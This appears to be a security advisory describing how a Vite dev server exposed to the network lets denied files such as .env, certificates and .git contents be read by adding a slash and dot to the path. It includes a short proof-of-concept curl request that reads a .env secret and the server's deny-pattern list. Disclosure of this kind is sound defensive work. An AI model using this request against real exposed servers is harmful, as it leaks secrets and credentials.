The contents of files in the project root
that are denied by a file matching pattern can be returned to the browser.
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Only files that are under project root
and are denied by a file matching pattern can be bypassed.
.env
, .env.*
, *.{crt,pem}
, **/.env
**/.git/**
, .git/**
, .git/**/*
server.fs.deny
can contain patterns matching against files (by default it includes .env
, .env.*
, *.{crt,pem}
as such patterns).
These patterns were able to bypass for files under root
by using a combination of slash and dot (/.
).
npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env/. http://localhost:5173
{ "nvd_published_at": "2025-05-01T18:15:57Z", "cwe_ids": [ "CWE-22" ], "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2025-04-30T17:40:27Z" }